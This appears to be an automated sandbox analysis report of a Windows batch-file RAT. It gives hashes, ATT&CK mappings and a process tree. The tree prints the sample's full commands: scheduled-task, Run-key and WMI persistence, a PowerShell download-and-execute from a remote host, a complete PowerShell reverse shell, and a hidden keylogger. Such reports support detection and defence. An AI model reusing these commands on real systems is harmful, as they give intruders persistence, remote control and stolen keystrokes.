efa41f0f1148c6bed619ff2d7e2cd95690149e44b004d42da1171ce7c9d4522b

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_338500_014843.bat
Size 4KB
Sample260529-bxt4msgs71
SHA256 efa41f0f1148c6bed619ff2d7e2cd95690149e44b004d42da1171ce7c9d4522b
MD5 7344aa3fc00840a8e28d4ef1598263c0
SHA1 c5d97a8612216075f996b10a22d1913cae075e76
SHA512 f2ee40218a77c01ea50d324a70cba81d9a8f65e73b84081c80494dd3596c5225310e578bffc12b97d74c8edcda115b801bc997b119c4ace373872b2b4c612f63
SSDEEP 96:bI51xWaSRbkNo7ITD4UTM8TpkmOV9O7goeH5nviFgZk8mvlo1hU:biQaSKN1TD/TpxKO7KiFgkHl0U
TLSH
T1B5A1FA2357577520A6F02658DF31382C135CE9FB2755C98EBB8C88C90A9CBCB91285E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_338500.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5628	powershell.exe
4032	powershell.exe
6004	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_338500 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_338500.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2724	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5004	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4128	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5628	powershell.exe
5628	powershell.exe
4032	powershell.exe
4032	powershell.exe
6004	powershell.exe
6004	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4312	WMIC.exe
Token: SeSecurityPrivilege	4312	WMIC.exe
Token: SeTakeOwnershipPrivilege	4312	WMIC.exe
Token: SeLoadDriverPrivilege	4312	WMIC.exe
Token: SeSystemProfilePrivilege	4312	WMIC.exe
Token: SeSystemtimePrivilege	4312	WMIC.exe
Token: SeProfSingleProcessPrivilege	4312	WMIC.exe
Token: SeIncBasePriorityPrivilege	4312	WMIC.exe
Token: SeCreatePagefilePrivilege	4312	WMIC.exe
Token: SeBackupPrivilege	4312	WMIC.exe
Token: SeRestorePrivilege	4312	WMIC.exe
Token: SeShutdownPrivilege	4312	WMIC.exe
Token: SeDebugPrivilege	4312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4312	WMIC.exe
Token: SeRemoteShutdownPrivilege	4312	WMIC.exe
Token: SeUndockPrivilege	4312	WMIC.exe
Token: SeManageVolumePrivilege	4312	WMIC.exe
Token: 33	4312	WMIC.exe
Token: 34	4312	WMIC.exe
Token: 35	4312	WMIC.exe
Token: 36	4312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4312	WMIC.exe
Token: SeSecurityPrivilege	4312	WMIC.exe
Token: SeTakeOwnershipPrivilege	4312	WMIC.exe
Token: SeLoadDriverPrivilege	4312	WMIC.exe
Token: SeSystemProfilePrivilege	4312	WMIC.exe
Token: SeSystemtimePrivilege	4312	WMIC.exe
Token: SeProfSingleProcessPrivilege	4312	WMIC.exe
Token: SeIncBasePriorityPrivilege	4312	WMIC.exe
Token: SeCreatePagefilePrivilege	4312	WMIC.exe
Token: SeBackupPrivilege	4312	WMIC.exe
Token: SeRestorePrivilege	4312	WMIC.exe
Token: SeShutdownPrivilege	4312	WMIC.exe
Token: SeDebugPrivilege	4312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4312	WMIC.exe
Token: SeRemoteShutdownPrivilege	4312	WMIC.exe
Token: SeUndockPrivilege	4312	WMIC.exe
Token: SeManageVolumePrivilege	4312	WMIC.exe
Token: 33	4312	WMIC.exe
Token: 34	4312	WMIC.exe
Token: 35	4312	WMIC.exe
Token: 36	4312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1532	WMIC.exe
Token: SeSecurityPrivilege	1532	WMIC.exe
Token: SeTakeOwnershipPrivilege	1532	WMIC.exe
Token: SeLoadDriverPrivilege	1532	WMIC.exe
Token: SeSystemProfilePrivilege	1532	WMIC.exe
Token: SeSystemtimePrivilege	1532	WMIC.exe
Token: SeProfSingleProcessPrivilege	1532	WMIC.exe
Token: SeIncBasePriorityPrivilege	1532	WMIC.exe
Token: SeCreatePagefilePrivilege	1532	WMIC.exe
Token: SeBackupPrivilege	1532	WMIC.exe
Token: SeRestorePrivilege	1532	WMIC.exe
Token: SeShutdownPrivilege	1532	WMIC.exe
Token: SeDebugPrivilege	1532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1532	WMIC.exe
Token: SeRemoteShutdownPrivilege	1532	WMIC.exe
Token: SeUndockPrivilege	1532	WMIC.exe
Token: SeManageVolumePrivilege	1532	WMIC.exe
Token: 33	1532	WMIC.exe
Token: 34	1532	WMIC.exe
Token: 35	1532	WMIC.exe
Token: 36	1532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1532	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3396 wrote to memory of 5384	3396	cmd.exe	80
PID 3396 wrote to memory of 4128	3396	cmd.exe	81
PID 3396 wrote to memory of 4312	3396	cmd.exe	82
PID 3396 wrote to memory of 1532	3396	cmd.exe	83
PID 3396 wrote to memory of 5152	3396	cmd.exe	84
PID 3396 wrote to memory of 5004	3396	cmd.exe	85
PID 3396 wrote to memory of 2724	3396	cmd.exe	89
PID 3396 wrote to memory of 5628	3396	cmd.exe	90
PID 3396 wrote to memory of 4032	3396	cmd.exe	91
PID 3396 wrote to memory of 6004	3396	cmd.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_338500_014843.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3396
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_338500" /tr "C:\Users\Admin\AppData\Local\Temp\_338500.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5384
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_338500" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_338500.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4128
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_338500", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_338500", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_338500.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_338500.txt
  2⤵
  PID:5152
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5004
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_338500.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd74a3b1fbe0b18f1d9c0b0b92514b904a55f3c324ebbbabc082a1e324bd920f
MD5 971d0d0c22d7d3beb2bf762514214071
SHA1 12077aa582d79a9e2c12edf4d688f3b7684b8fec
SHA512 01ee08520bc893458740bf0b9c7aa1d9db53bc0996af3737108014047465451a11e353500e1d4717b336b1955bc23b5f1576619b9803ab1c5987385799a6b488
TLSH
T13D11BA33F39CC174C8D5117A108DAD01B2B1C3CB009EDECB7A84C408E57F58ADB641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_x1fnhxfa.m15.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x1fnhxfa.m15.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/5628-8-0x0000021B51E90000-0x0000021B51EB2000-memory.dmp

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